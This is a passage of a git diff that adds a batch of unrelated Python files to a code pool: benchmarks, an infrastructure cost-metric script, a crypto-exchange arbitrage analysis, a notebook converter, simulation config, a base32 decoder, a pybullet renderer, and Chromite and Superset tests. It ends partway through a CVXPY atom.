+    return (a - b) / (a + b)
+
+
+def setup():
+    ArrayExpressions.setupClass()
+
+
+class ArrayExpressions:
+
+    n = 100000
+    dtypes = ('float32', 'float64')
+
+    @classmethod
+    def setupClass(cls):
+        cls.samples = {}
+        random = np.random.RandomState(0)
+        for dtype in cls.dtypes:
+            arrays = [random.uniform(1.0, 2.0, size=cls.n).astype(dtype)
+                      for i in range(2)]
+            cls.samples[dtype] = arrays
+
+    @classmethod
+    def _binary_func(cls, func, dtype):
+        def f(self):
+            func(*self.samples[dtype])
+        return f
+
+    @classmethod
+    def generate_benchmarks(cls):
+        for dtype in cls.dtypes:
+            for func in (sum, sq_diff, rel_diff):
+                bench_func = cls._binary_func(func, dtype)
+                setattr(cls, 'time_%s_%s' % (func.__name__, dtype), bench_func)
+
+
+ArrayExpressions.generate_benchmarks()
diff --git a/pool/shard000/Python/0007940_infra_stats_metric.py b/pool/shard000/Python/0007940_infra_stats_metric.py
new file mode 100644
index 0000000000000000000000000000000000000000..102855575c34819503f7062c3bdc4a8cb429f8ce
--- /dev/null
+++ b/pool/shard000/Python/0007940_infra_stats_metric.py
@@ -0,0 +1,150 @@
+# -*- coding: utf-8 -*-
+#!/usr/bin/python
+##-------------------------------------------------------------------
+## File : infra_stats_metric.py
+## Author : Denny <denny.zhang@totvs.com>
+## Description : Collect metrics for cost evaluation
+## --
+## Created : <2016-10-04>
+## Updated: Time-stamp: <2018-04-24 12:18:27>
+##-------------------------------------------------------------------
+import datetime
+import argparse
+import commands
+
+def get_timestamp():
+    return "[%s +0000]" % \
+        (datetime.datetime.utcnow().strftime("%d/%b/%Y:%H:%M:%S"))
+
+def record_cost_metric(timestamp, thisMonthTotal, overallPercentage, recordCount):
+    recordCost = (float(thisMonthTotal) * float(overallPercentage) * 1.75) / \
+                 (int(recordCount) * 0.7)
+    recordCostStr = '{:.20f}'.format(recordCost)
+    l = []
+    l.append([timestamp, 'Record', 'AvgCostPerMonth', recordCostStr])
+    return l
+
+def print_list(l):
+    for entry in l:
+        print("%s %s %s %s" % (entry[0], entry[1], entry[2], entry[3]))
+
+def infra_premium_service_metric(timestamp):
+    l = []
+    l.append([timestamp, 'InfraSupport', 'BasicPremiumService', '0'])
+    l.append([timestamp, 'InfraSupport', 'AdvancedPremiumService', '0'])
+    return l
+
+##########################################################################################
+def infra_node_count_metric(timestamp, item_name = 'ALL'):
+    l = []
+    metric_name = 'NodeCount'
+    # TODO: implement this
+    if item_name == 'ALL':
+        l.append([timestamp, 'InfraCB', metric_name, '4'])
+        l.append([timestamp, 'InfraES', metric_name, '6'])
+
+        l.append([timestamp, 'InfraAPP', metric_name, '4'])
+
+        l.append([timestamp, 'InfraLoadBalancer', metric_name, '2'])
+
+        l.append([timestamp, 'InfraBackup', metric_name, '1'])
+        l.append([timestamp, 'InfraLogging', metric_name, '0'])
+        l.append([timestamp, 'InfraMonitoring', metric_name, '1'])
+        l.append([timestamp, 'InfraJenkins', metric_name, '1'])
+    return l
+
+def infra_storage_capacity_metric(timestamp, item_name = 'ALL'):
+    l = []
+    metric_name = 'StorageCapacity'
+    # TODO: implement this
+    if item_name == 'ALL':
+        # TODO: calculate the total number
+        l.append([timestamp, 'InfraAPP', metric_name, '100'])
+        l.append([timestamp, 'InfraCB', metric_name, '100'])
+        l.append([timestamp, 'InfraES', metric_name, '100'])
+        l.append([timestamp, 'InfraBackup', metric_name, '100'])
+        l.append([timestamp, 'InfraLogging', metric_name, '0'])
+        l.append([timestamp, 'InfraMonitoring', metric_name, '100'])
+        l.append([timestamp, 'InfraLoadBalancer', metric_name, '100'])
+    return l
+
+def infra_network_metric(timestamp, item_name = 'ALL'):
+    l = []
+    metric_name = 'DataTransfer'
+    # TODO: implement this
+    if item_name == 'ALL':
+        # TODO: calculate the total number
+        l.append([timestamp, 'InfraNetwork', metric_name, '0'])
+    return l
+
+def record_count_service_metric(timestamp):
+    l = []
+    # TODO: automate the collection
+    l.append([timestamp, 'Record', 'TotalCount', '136701640'])
+    return l
+
+def invoicement_metric(timestamp, property_name = 'ALL'):
+    l = []
+    # TODO: implement this: need to calculate and predict
+    if property_name == 'ALL':
+        l.append([timestamp, 'Invoicement', 'ThisMonth', '500'])
+        l.append([timestamp, 'Invoicement', 'ThisMonthTotal', '4378.64'])
+    if property_name == 'ThisMonthTotal':
+        l.append([timestamp, 'Invoicement', 'ThisMonthTotal', '4378.64'])
+    return l
+
+def hardware_utilization_metric(timestamp, property_name = 'OverallPercentage'):
+    l = []
+    # TODO: implement this. need more work on this
+    if property_name == 'ALL':
+        l.append([timestamp, 'HardwareUtilization', 'OverallPercentage', '0.65'])
+
+    if property_name == 'OverallPercentage':
+        l.append([timestamp, 'HardwareUtilization', 'OverallPercentage', '0.65'])
+    return l
+
+# Sample:
+# python ./infra_stats_metric.py --poll_date 'NOW'
+# python ./infra_stats_metric.py --poll_date 'LAST3'
+if __name__=='__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--poll_date', default = 'NOW', \
+                        required = False, help = "Which days we want to poll the metrics. Default is last 3 days", type=str)
+    l = parser.parse_args()
+
+    poll_date = l.poll_date
+    date_list = []
+
+    if poll_date == 'NOW':
+        date_list = [get_timestamp()]
+
+    if poll_date == 'LAST3':
+        # TODO: implement this later
+        date_list = ["[9/Oct/2016:10:16:36 +0000]", \
+                     "[10/Oct/2016:10:16:36 +0000]", \
+                     "[11/Oct/2016:10:16:36 +0000]", \
+                     "[12/Oct/2016:10:16:36 +0000]", \
+                     "[13/Oct/2016:10:16:36 +0000]"]
+
+    for timestamp in date_list:
+        print_list(infra_node_count_metric(timestamp))
+        print_list(infra_storage_capacity_metric(timestamp))
+        print_list(infra_network_metric(timestamp))
+        print_list(infra_premium_service_metric(timestamp))
+        print_list(invoicement_metric(timestamp))
+        print_list(record_count_service_metric(timestamp))
+        print_list(invoicement_metric(timestamp))
+        print_list(hardware_utilization_metric(timestamp))
+
+        # calculate avg record cost per month
+        l = invoicement_metric(timestamp, property_name = 'ThisMonthTotal')
+        thisMonthTotal = l[0][3]
+
+        l = hardware_utilization_metric(timestamp, property_name = 'OverallPercentage')
+        overallPercentage = l[0][3]
+
+        l = record_count_service_metric(timestamp)
+        recordCount = l[0][3]
+
+        print_list(record_cost_metric(timestamp, thisMonthTotal, overallPercentage, recordCount))
+## File : infra_stats_metric.py ends
diff --git a/pool/shard000/Python/0007942_monitoranalysis.py b/pool/shard000/Python/0007942_monitoranalysis.py
new file mode 100644
index 0000000000000000000000000000000000000000..e94d6710a073edb354390ca68c344f35a69165b9
--- /dev/null
+++ b/pool/shard000/Python/0007942_monitoranalysis.py
@@ -0,0 +1,69 @@
+from monitor import utc_to_tz
+from dateutil import tz
+import krakenex
+import pymongo
+import networkx as nx
+import pandas
+import numpy as np
+import tqdm
+
+def get_prices(asset_pairs, ticker):
+    prices = {}
+    for asset_key, asset in asset_pairs.iteritems():
+        asset_name = str(asset_key.split('.')[0])
+        base = str(asset['base'])
+        quote = str(asset['quote'])
+        assert asset_name == base + quote, '%s != %s + %s' % (asset_name, base, quote)
+        assert asset_name in ticker, '`%s` not in ticker.' % asset_name
+        last_price, last_volume = map(float, ticker[asset_name]['c'])
+        assert last_price > 0
+        assert (base, quote) not in ticker
+        assert (quote, base) not in ticker
+        prices[base, quote] = last_price
+        prices[quote, base] = last_price
+    return prices
+
+
+k = krakenex.API()
+k.load_key('lost.key')
+asset_pairs = k.query_public("AssetPairs")['result']
+
+# Find cycles.
+exchange_graph = nx.DiGraph()
+fees = {}
+for asset_key, asset in asset_pairs.iteritems():
+    asset_name = str(asset_key.split('.')[0])
+    base = str(asset['base'])
+    quote = str(asset['quote'])
+    assert asset_name == base + quote, '%s != %s + %s' % (asset_name, base, quote)
+    fee = 1-asset['fees'][0][1]/100.
+    fees[base, quote] = fee
+    fees[quote, base] = fee
+    exchange_graph.add_edge(base, quote)
+    exchange_graph.add_edge(quote, base)
+
+
+cycles = map(tuple, nx.simple_cycles(exchange_graph))
+edges = {cycle: tuple(zip(cycle[:-1], cycle[1:]) + [(cycle[-1], cycle[0])]) for cycle in cycles}
+
+mongodb_address = None
+client = pymongo.MongoClient(mongodb_address)
+db = client['kraken']
+collection = db['tickers']
+cursor = collection.find()
+
+rows = []
+for doc in tqdm.tqdm(cursor, total=cursor.count()):
+    timestamp = utc_to_tz(doc['timestamp'], tz.gettz('PST'))
+    prices = get_prices(asset_pairs, doc['ticker'])
+    for cycle in cycles:
+        rates = [fees[e]*prices[e] for e in edges[cycle]]
+        rate = np.product(rates)
+        rows.append(dict(timestamp=timestamp, cycle=cycle, rate=rate))
+
+df = pandas.DataFrame(rows)
+
+
+
+
+
diff --git a/pool/shard000/Python/0007944_convert.py b/pool/shard000/Python/0007944_convert.py
new file mode 100644
index 0000000000000000000000000000000000000000..e0f987854f2883fbb7eb011e803f86a2231052bb
--- /dev/null
+++ b/pool/shard000/Python/0007944_convert.py
@@ -0,0 +1,80 @@
+#! /usr/bin/env python
+"""
+Convert empty IPython notebook to a sphinx doc page.
+"""
+import io
+import os
+import sys
+
+from IPython.nbformat import current
+
+
+def clean_for_doc(nb):
+    """
+    Cleans the notebook to be suitable for inclusion in the docs.
+    """
+    new_cells = []
+    for cell in nb.worksheets[0].cells:
+        # Remove the pylab inline line cells.
+        if "input" in cell and \
+                cell["input"].strip().startswith("%pylab inline"):
+            continue
+
+        # Make sure all cells are padded at the top and bottom.
+        if "source" in cell:
+            cell["source"] = "\n" + cell["source"].strip() + "\n\n"
+
+        # Remove output resulting from the stream/trace method chaining.
+        if "outputs" in cell:
+            outputs = [_i for _i in cell["outputs"] if "text" not in _i or
+                       not _i["text"].startswith("<obspy.core")]
+            cell["outputs"] = outputs
+        new_cells.append(cell)
+    nb.worksheets[0].cells = new_cells
+    return nb
+
+
+def strip_output(nb):
+    """
+    strip the outputs from a notebook object
+    """
+    for cell in nb.worksheets[0].cells:
+        if 'outputs' in cell:
+            cell['outputs'] = []
+        if 'prompt_number' in cell:
+            cell['prompt_number'] = None
+    return nb
+
+
+def convert_nb(nbname):
+    rst_name = "%s.rst" % nbname
+    nbname = "%s.ipynb" % nbname
+
+    # Do nothing if already built.
+    if os.path.exists(rst_name) and \
+            os.path.getmtime(rst_name) >= os.path.getmtime(nbname):
+        print("\t%s is up to date; nothing to do." % rst_name)
+        return
+
+    os.system("runipy --o %s --matplotlib --quiet" % nbname)
+
+    with io.open(nbname, 'r', encoding='utf8') as f:
+        nb = current.read(f, 'json')
+    nb = clean_for_doc(nb)
+    print("Writing to", nbname)
+    with io.open(nbname, 'w', encoding='utf8') as f:
+        current.write(nb, f, 'json')
+
+    # Convert to rst.
+    os.system("jupyter nbconvert --to rst %s" % nbname)
+
+    with io.open(nbname, 'r', encoding='utf8') as f:
+        nb = current.read(f, 'json')
+    nb = strip_output(nb)
+    print("Writing to", nbname)
+    with io.open(nbname, 'w', encoding='utf8') as f:
+        current.write(nb, f, 'json')
+
+if __name__ == "__main__":
+    for nbname in sys.argv[1:]:
+        convert_nb(nbname)
diff --git a/pool/shard000/Python/0007946_simulation_config.py b/pool/shard000/Python/0007946_simulation_config.py
new file mode 100644
index 0000000000000000000000000000000000000000..c08b345d9d68975496ffa26d0cc9906c2852c706
--- /dev/null
+++ b/pool/shard000/Python/0007946_simulation_config.py
@@ -0,0 +1,42 @@
+# Opus/UrbanSim urban simulation software.
+# Copyright (C) 2005-2009 University of Washington
+# See opus_core/LICENSE 
+
+import os
+
+#from opus_core.misc import get_host_name
+from opus_core.database_management.configurations.database_configuration import DatabaseConfiguration
+from opus_core.configurations.baseyear_cache_configuration import BaseyearCacheConfiguration
+
+from urbansim.configs.base_config_zone import tables_to_cache
+#from urbansim.configs.base_config_zone import run_configuration
+from urbansim.configs.cache_baseyear_configuration import CacheBaseyearConfiguration
+from urbansim.configurations.creating_baseyear_cache_configuration import CreatingBaseyearCacheConfiguration
+
+
+cache_configuration = CacheBaseyearConfiguration()
+my_cache_config = CreatingBaseyearCacheConfiguration(
+        cache_directory_root = '/tmp/urbcache/sandbox_runs/zones',
+        unroll_gridcells = True,
+        cache_from_database = True,
+        baseyear_cache = BaseyearCacheConfiguration(
+            existing_cache_to_copy = '/urbansim_cache/psrc_zone',
+            years_to_cache = range(1996,2000),
+            ),
+        tables_to_cache = tables_to_cache().get_tables_to_cache(),
+        tables_to_cache_nchunks = {
+            'gridcells':5,
+            },
+    )
+cache_configuration['creating_baseyear_cache_configuration'] = my_cache_config
+my_configuration = {
+    'remove_cache': False, # remove cache after finishing the simulation
+    'cache_directory': '/urbansim_cache/psrc_zone', ### TODO: Set this cache_directory to something useful.
+    'creating_baseyear_cache_configuration': cache_configuration['creating_baseyear_cache_configuration'],
+    'input_configuration': DatabaseConfiguration(
+        database_name = 'PSRC_2000_estimation_zone_pwaddell', #change
+        ),                      
+    'base_year':2000,
+    'years':(2001, 2002),
+    'seed':1,#(1,1),
+    }
\ No newline at end of file
diff --git a/pool/shard000/Python/0007947_base32_decoder.py b/pool/shard000/Python/0007947_base32_decoder.py
new file mode 100644
index 0000000000000000000000000000000000000000..8bafd2b65dc57a6906ba43ef3f7c3b9020cd4df6
--- /dev/null
+++ b/pool/shard000/Python/0007947_base32_decoder.py
@@ -0,0 +1,40 @@
+# -*- coding: utf-8 -*-
+"""The base32 decoder object implementation."""
+
+import base64
+import binascii
+
+from dfvfs.encoding import decoder
+from dfvfs.encoding import manager
+from dfvfs.lib import definitions
+from dfvfs.lib import errors
+
+
+class Base32Decoder(decoder.Decoder):
+  """Class that implements a base32 decoder using base64."""
+
+  ENCODING_METHOD = definitions.ENCODING_METHOD_BASE32
+
+  def Decode(self, encoded_data):
+    """Decode the encoded data.
+
+    Args:
+      encoded_data (byte): encoded data.
+
+    Returns:
+      tuple(bytes, bytes): decoded data and remaining encoded data.
+
+    Raises:
+      BackEndError: if the base32 stream cannot be decoded.
+    """
+    try:
+      decoded_data = base64.b32decode(encoded_data, casefold=False)
+    except (TypeError, binascii.Error) as exception:
+      raise errors.BackEndError(
+          u'Unable to decode base32 stream with error: {0!s}.'.format(
+              exception))
+
+    return decoded_data, b''
+
+
+manager.EncodingManager.RegisterDecoder(Base32Decoder)
diff --git a/pool/shard000/Python/0007950_render_reference.py b/pool/shard000/Python/0007950_render_reference.py
new file mode 100644
index 0000000000000000000000000000000000000000..61fe8878d64e97c9d2c5b3cc022484240c84f3cc
--- /dev/null
+++ b/pool/shard000/Python/0007950_render_reference.py
@@ -0,0 +1,132 @@
+import os, inspect
+currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
+parentdir = os.path.dirname(os.path.dirname(currentdir))
+os.sys.path.insert(0, parentdir)
+
+print('parent:', parentdir)
+
+import pybullet_data
+import pybullet
+import time
+import random
+
+from pybullet_utils.bullet_client import BulletClient
+from deep_mimic.env.motion_capture_data import MotionCaptureData
+
+# from pybullet_envs.deep_mimic.env.humanoid_stable_pd import HumanoidStablePd
+from humanoid import Humanoid
+from humanoid import HumanoidPose
+
+# from env.humanoid_stable_pd
+
+from deepmimic_json_generator import *
+
+import pybullet as p
+import numpy as np
+import argparse
+
+parser = argparse.ArgumentParser(description='Arguments for loading reference for learning.')
+
+# General arguments
+parser.add_argument('--dataset_path',
+                    default='data/data_3d_h36m.npz',
+                    type=str,
+                    help='target dataset')  # h36m or humaneva
+parser.add_argument(
+    '--json_path',
+    default='data/Walking.json',
+    type=str,
+    help='json file path for storing the deepmimic-format json created by inverse-kinect.')
+parser.add_argument('--fps', default=24, type=int, help='frame per second')
+parser.add_argument('--subject', default='S11', type=str, help='camera subject.')
+parser.add_argument('--action', default='Walking', type=str, help='name of the action.')
+parser.add_argument('--loop',
+                    default='wrap',
+                    type=str,
+                    help='loop information in deepmimic, wrap or none.')
+parser.add_argument('--draw_gt', action='store_true', help='draw ground truth or not.')
+
+args = parser.parse_args()
+
+dataset_path = args.dataset_path
+json_path = args.json_path
+fps = args.fps
+subject = args.subject
+action = args.action
+loop = args.loop
+draw_gt = args.draw_gt
+
+
+def draw_ground_truth(coord_seq, frame, duration, shift):
+  global joint_info
+  joint = coord_seq[frame]
+  shift = np.array(shift)
+  for i in range(1, 17):
+    # print(x[11], x[14])
+    joint_fa = joint_info['father'][i]
+    if joint_info['side'][i] == 'right':
+      p.addUserDebugLine(lineFromXYZ=joint[i] + shift,
+                         lineToXYZ=joint[joint_fa] + shift,
+                         lineColorRGB=(255, 0, 0),
+                         lineWidth=1,
+                         lifeTime=duration)
+    else:
+      p.addUserDebugLine(lineFromXYZ=joint[i] + shift,
+                         lineToXYZ=joint[joint_fa] + shift,
+                         lineColorRGB=(0, 0, 0),
+                         lineWidth=1,
+                         lifeTime=duration)
+
+
+dataset = init_fb_h36m_dataset(dataset_path)
+ground_truth = pose3D_from_fb_h36m(dataset, subject=subject, action=action, shift=[1.0, 0.0, 0.0])
+
+rot_seq = coord_seq_to_rot_seq(coord_seq=ground_truth, frame_duration=1 / fps)
+
+rot_seq_to_deepmimic_json(rot_seq=rot_seq, loop=loop, json_path=json_path)
+
+bc = BulletClient(connection_mode=pybullet.GUI)
+bc.setAdditionalSearchPath(pybullet_data.getDataPath())
+bc.configureDebugVisualizer(bc.COV_ENABLE_Y_AXIS_UP, 1)
+bc.setGravity(0, -9.8, 0)
+motion = MotionCaptureData()
+
+motionPath = json_path
+motion.Load(motionPath)
+print("numFrames = ", motion.NumFrames())
+
+simTimeId = bc.addUserDebugParameter("simTime", 0, motion.NumFrames() - 1.1, 0)
+
+y2zOrn = bc.getQuaternionFromEuler([-1.57, 0, 0])
+bc.loadURDF("plane.urdf", [0, -0.04, 0], y2zOrn)
+
+humanoid = Humanoid(bc, motion, [0, 0, 0])  #这是初始位置的坐标
+
+print(p.getBasePositionAndOrientation(humanoid._humanoid))
+
+simTime = 0
+keyFrameDuration = motion.KeyFrameDuraction()
+print("keyFrameDuration=", keyFrameDuration)
+for utNum in range(motion.NumFrames()):
+  bc.stepSimulation()
+  humanoid.RenderReference(utNum * keyFrameDuration)
+  if draw_gt:
+    draw_ground_truth(coord_seq=ground_truth,
+                      frame=utNum,
+                      duration=keyFrameDuration,
+                      shift=[-1.0, 0.0, 1.0])
+  time.sleep(0.001)
+stage = 0
+
+
+def Reset(humanoid):
+  global simTime
+  humanoid.Reset()
+  simTime = 0
+  humanoid.SetSimTime(simTime)
+  pose = humanoid.InitializePoseFromMotionData()
+  humanoid.ApplyPose(pose, True, True, humanoid._humanoid, bc)
+
+
+Reset(humanoid)
+p.disconnect()
diff --git a/pool/shard000/Python/0007951_cros_best_revision_unittest.py b/pool/shard000/Python/0007951_cros_best_revision_unittest.py
new file mode 100644
index 0000000000000000000000000000000000000000..889f288899c49202c1ea948bb1a8723472f724a0
--- /dev/null
+++ b/pool/shard000/Python/0007951_cros_best_revision_unittest.py
@@ -0,0 +1,129 @@
+#!/usr/bin/python
+# Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+"""Unit tests for the cros_best_revision program."""
+
+from __future__ import print_function
+
+import os
+import sys
+
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(
+    os.path.abspath(__file__)))))
+
+from chromite.cbuildbot import cbuildbot_config
+from chromite.cbuildbot import constants
+from chromite.cbuildbot import manifest_version
+from chromite.cbuildbot import tree_status
+from chromite.lib import cros_build_lib_unittest
+from chromite.lib import cros_test_lib
+from chromite.lib import gs_unittest
+from chromite.lib import osutils
+from chromite.lib import partial_mock
+
+from chromite.scripts import cros_best_revision
+
+
+class BaseChromeCommitterTest(cros_test_lib.MockTempDirTestCase):
+  """Base class for tests using cros_best_revision.ChromeCommitter."""
+
+  def setUp(self):
+    """Common set up method for all tests."""
+    self.committer = cros_best_revision.ChromeCommitter(self.tempdir, False)
+    self.lkgm_file = os.path.join(self.tempdir, constants.PATH_TO_CHROME_LKGM)
+    self.pass_status = manifest_version.BuilderStatus(
+        constants.BUILDER_STATUS_PASSED, None)
+    self.fail_status = manifest_version.BuilderStatus(
+        constants.BUILDER_STATUS_FAILED, None)
+
+
+# pylint: disable=W0212
+class ChromeGSTest(BaseChromeCommitterTest):
+  """Test cros_best_revision.ChromeCommitter version filtering."""
+
+  def testGetLatestCanaryVersions(self):
+    """Test that we correctly filter out non-canary and older versions."""
+    output = '\n'.join(['2910.0.1', '2900.0.0', '2908.0.0', '2909.0.0',
+                        '2910.0.0'])
+    # Only return 2 -- the 2 newest canary results.
+    cros_best_revision.ChromeCommitter._CANDIDATES_TO_CONSIDER = 2
+    expected_output = ['2910.0.0', '2909.0.0']
+
+    self.committer._old_lkgm = '2905.0.0'
+    with gs_unittest.GSContextMock() as gs_mock:
+      gs_mock.AddCmdResult(partial_mock.In('ls'), output=output)
+      versions = self.committer._GetLatestCanaryVersions()
+    self.assertEqual(versions, expected_output)
+
+
+class ChromeCommitterTester(cros_build_lib_unittest.RunCommandTestCase,
+                            BaseChromeCommitterTest):
+  """Test cros_best_revision.Committer."""
+
+  canaries = ['a-release', 'b-release', 'c-release']
+  versions = ['4.0.0', '3.0.0']
+
+  def testCheckoutChromeLKGM(self):
+    "Tests that we can read/obtain the old LKGM from mocked out SVN."
+    # Write out an old lkgm file as if we got it from svn update.
+    old_lkgm = '2098.0.0'
+    osutils.SafeMakedirs(os.path.dirname(self.lkgm_file))
+    osutils.WriteFile(self.lkgm_file, old_lkgm)
+    self.committer.CheckoutChromeLKGM()
+    self.assertTrue(self.committer._old_lkgm, old_lkgm)
+
+  def _TestFindNewLKGM(self, all_results, lkgm):
+    """Stubs out methods used by FindNewLKGM."""
+    expected = {}
+    for canary, results in zip(self.canaries, all_results):
+      for version, status in zip(self.versions, results):
+        expected[(canary, version)] = status
+    def _GetBuildStatus(canary, version, **_):
+      return expected[(canary, version)]
+    self.PatchObject(self.committer, '_GetLatestCanaryVersions',
+                     return_value=self.versions)
+    self.PatchObject(cbuildbot_config, 'GetCanariesForChromeLKGM',
+                     return_value=self.canaries)
+    self.PatchObject(manifest_version.BuildSpecsManager, 'GetBuildStatus',
+                     side_effect=_GetBuildStatus)
+    self.committer.FindNewLKGM()
+    self.assertTrue(self.committer._lkgm, lkgm)
+
+  def testFindNewLKGMBasic(self):
+    """Tests that we return the highest version if all versions are good."""
+    self._TestFindNewLKGM([[self.pass_status] * 2] * 3, '4.0.0')
+
+  def testFindNewLKGMAdvanced(self):
+    """Tests that we return the only version with passing canaries."""
+    self._TestFindNewLKGM([[self.fail_status, self.pass_status]] * 3, '3.0.0')
+
+  def testFindNewLKGMWithFailures(self):
+    """Ensure we reject versions with failed builds.
+
+    This test case is a bit more complex than the two above and tests the logic
+    where we want to reject versions with failed builds.
+
+    In this example both versions have 2 passing builds. The older version
+    is missing a score from one builder where the newer version reports
+    a failure. In this instance, our scoring mechanism should choose the older
+    version.
+    """
+    all_results = [[self.pass_status] * 2] * 2 + [[self.fail_status, None]]
+    self._TestFindNewLKGM(all_results, '3.0.0')
+
+  def testCommitNewLKGM(self):
+    """Tests that we can commit a new LKGM file."""
+    osutils.SafeMakedirs(os.path.dirname(self.lkgm_file))
+    self.committer._lkgm = '4.0.0'
+    self.PatchObject(tree_status, 'IsTreeOpen', return_value=True)
+    self.committer.CommitNewLKGM()
+
+    # Check the file was actually written out correctly.
+    self.assertEqual(osutils.ReadFile(self.lkgm_file), self.committer._lkgm)
+    self.assertCommandContains(['git', 'cl', 'land'])
+
+
+if __name__ == '__main__':
+  cros_test_lib.main()
diff --git a/pool/shard000/Python/0007952_unicode_dashboard.py b/pool/shard000/Python/0007952_unicode_dashboard.py
new file mode 100644
index 0000000000000000000000000000000000000000..1f1218c8f7dbc17b751e9b6786d6a545847a8a11
--- /dev/null
+++ b/pool/shard000/Python/0007952_unicode_dashboard.py
@@ -0,0 +1,118 @@
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements.  See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership.  The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License.  You may obtain a copy of the License at
+#
+#   http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied.  See the License for the
+# specific language governing permissions and limitations
+# under the License.
+import pandas as pd
+import pytest
+from sqlalchemy import String
+
+from superset import db
+from superset.connectors.sqla.models import SqlaTable
+from superset.models.dashboard import Dashboard
+from superset.models.slice import Slice
+from superset.utils.core import get_example_database, get_example_default_schema
+from tests.integration_tests.dashboard_utils import (
+    create_dashboard,
+    create_slice,
+    create_table_metadata,
+)
+from tests.integration_tests.test_app import app
+
+UNICODE_TBL_NAME = "unicode_test"
+
+
+@pytest.fixture(scope="session")
+def load_unicode_data():
+    with app.app_context():
+        _get_dataframe().to_sql(
+            UNICODE_TBL_NAME,
+            get_example_database().get_sqla_engine(),
+            if_exists="replace",
+            chunksize=500,
+            dtype={"phrase": String(500)},
+            index=False,
+            method="multi",
+            schema=get_example_default_schema(),
+        )
+
+    yield
+    with app.app_context():
+        engine = get_example_database().get_sqla_engine()
+        engine.execute("DROP TABLE IF EXISTS unicode_test")
+
+
+@pytest.fixture()
+def load_unicode_dashboard_with_slice(load_unicode_data):
+    slice_name = "Unicode Cloud"
+    with app.app_context():
+        dash = _create_unicode_dashboard(slice_name, None)
+        yield
+        _cleanup(dash, slice_name)
+
+
+@pytest.fixture()
+def load_unicode_dashboard_with_position(load_unicode_data):
+    slice_name = "Unicode Cloud"
+    position = "{}"
+    with app.app_context():
+        dash = _create_unicode_dashboard(slice_name, position)
+        yield
+        _cleanup(dash, slice_name)
+
+
+def _get_dataframe():
+    data = _get_unicode_data()
+    return pd.DataFrame.from_dict(data)
+
+
+def _get_unicode_data():
+    return [
+        {"phrase": "Под"},
+        {"phrase": "řšž"},
+        {"phrase": "視野無限廣"},
+        {"phrase": "微風"},
+        {"phrase": "中国智造"},
+        {"phrase": "æøå"},
+        {"phrase": "ëœéè"},
+        {"phrase": "いろはにほ"},
+    ]
+
+
+def _create_unicode_dashboard(slice_title: str, position: str) -> Dashboard:
+    table = create_table_metadata(UNICODE_TBL_NAME, get_example_database())
+    table.fetch_metadata()
+
+    if slice_title:
+        slice = _create_and_commit_unicode_slice(table, slice_title)
+
+    return create_dashboard("unicode-test", "Unicode Test", position, [slice])
+
+
+def _create_and_commit_unicode_slice(table: SqlaTable, title: str):
+    slice = create_slice(title, "word_cloud", table, {})
+    o = db.session.query(Slice).filter_by(slice_name=slice.slice_name).one_or_none()
+    if o:
+        db.session.delete(o)
+    db.session.add(slice)
+    db.session.commit()
+    return slice
+
+
+def _cleanup(dash: Dashboard, slice_name: str) -> None:
+    db.session.delete(dash)
+    if slice_name:
+        slice = db.session.query(Slice).filter_by(slice_name=slice_name).one_or_none()
+        db.session.delete(slice)
+    db.session.commit()
diff --git a/pool/shard000/Python/0007954_local_plugin.py b/pool/shard000/Python/0007954_local_plugin.py
new file mode 100644
index 0000000000000000000000000000000000000000..90ac7b07d40b6feac233a376077da935473c6fe5
--- /dev/null
+++ b/pool/shard000/Python/0007954_local_plugin.py
@@ -0,0 +1,35 @@
+# ===============================================================================
+# Copyright 2019 ross
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+# ===============================================================================
+from pychron.envisage.tasks.base_plugin import BasePlugin
+from pychron.git.hosts import IGitHost
+from pychron.git.hosts.local import LocalGitHostService
+
+
+class LocalGitPlugin(BasePlugin):
+    def _service_offers_default(self):
+        so = self.service_offer_factory(protocol=IGitHost, factory=self._factory)
+
+        return [
+            so,
+        ]
+
+    def _factory(self):
+        c = LocalGitHostService()
+        c.bind_preferences()
+        return c
+
+
+# ============= EOF =============================================
diff --git a/pool/shard000/Python/0007955_sigma_max.py b/pool/shard000/Python/0007955_sigma_max.py
new file mode 100644
index 0000000000000000000000000000000000000000..33a7a9a676d23c8b73c55f889d2deb04d7b79e17
--- /dev/null
+++ b/pool/shard000/Python/0007955_sigma_max.py
@@ -0,0 +1,97 @@
+"""
+Copyright 2013 Steven Diamond
+
+This file is part of CVXPY.
+
+CVXPY is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+CVXPY is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with CVXPY.  If not, see <http://www.gnu.org/licenses/>.
+"""
+
+import cvxpy.utilities as u
+import cvxpy.lin_ops.lin_utils as lu
+from cvxpy.atoms.atom import Atom
+from cvxpy.atoms.affine.index import index
+from cvxpy.atoms.affine.transpose import transpose
+from cvxpy.constraints.semi_definite import SDP
+import scipy.sparse as sp
+from numpy import linalg as LA
+
+class sigma_max(Atom):
+    """ Maximum singular value. """
+    def __init__(self, A):
+        super(sigma_max, self).__init__(A)
+
+    @Atom.numpy_numeric
+    def numeric(self, values):
+        """Returns the largest singular value of A.
+        """
+        return LA.norm(values[0], 2)
+
+    def shape_from_args(self):
+        """Resolves to a scalar.
+        """
+        return u.Shape(1, 1)
+
+    def sign_from_args(self):
